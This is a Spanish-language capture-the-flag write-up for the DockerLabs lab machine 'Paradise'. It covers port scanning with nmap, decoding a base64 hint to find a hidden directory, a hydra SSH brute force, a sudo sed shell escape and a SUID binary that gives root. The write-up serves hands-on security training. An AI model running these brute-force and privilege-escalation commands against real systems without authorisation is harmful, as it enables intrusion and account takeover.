miguel@home:~$

Paradise - DockerLabs

OS Dificultad Creator
Linux Fácil kaikoperez

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 22 (SSH)
  • 80 (HTTP)
  • 139 (NetBIOS)
  • 445 (SMB)

A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.

nmap -p22,80,139,445 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

Iniciamos explorando el puerto 80. Al acceder, encontramos una página web con dos botones que llevan a diferentes secciones:

image

En la sección “galery” de la página, al final encontramos texto en formato base64:

image

Desciframos el mensaje en base64:

echo 'ZXN0b2VzdW5zZWNyZXRvCg==' | base64 -d

image

La cadena decodificada, estoesunsecreto, podría ser una contraseña o un directorio oculto, así que probamos si existe como directorio:

image

Encontramos un directorio oculto con un archivo mensaje_para_lucas.txt:

image

El mensaje sugiere que lucas debería cambiar su contraseña, ya que podría extraerse mediante fuerza bruta. Con esto, avanzamos a realizar un ataque de fuerza bruta.

Fuerza Bruta

Usamos hydra para intentar obtener la contraseña de lucas a través del servicio SSH:

hydra -l lucas -P /usr/share/wordlists/rockyou.txt -t 64 -VIf ssh://172.17.0.2

image

Logramos obtener la contraseña de lucas, que es chocolate.

Intrusión

Con la contraseña obtenida, accedemos al sistema a través de SSH:

ssh lucas@172.17.0.2 

image

Creamos una shell interactiva:

script /dev/null -c bash

Escalada de privilegios

Acceso Andy

Al ejecutar sudo -l, descubrimos que podemos ejecutar sed como el usuario andy.Utilizando GTFOBins sabemos cómo explotar estos binarios.

sudo -u andy sed -n '1e exec sh 1>&0' /etc/hosts

Ahora somos el usuario andy. Creamos nuevamente una shell interactiva y exploramos permisos adicionales.

Como no tenemos la contraseña de andy, no podemos usar sudo -l directamente. Sin embargo, buscamos binarios con permisos especiales:

find / -perm -4000 2>/dev/null

image

Ejecutamos el primer binario:

/usr/local/bin/privileged_exec

Esto nos otorga permisos de root:

image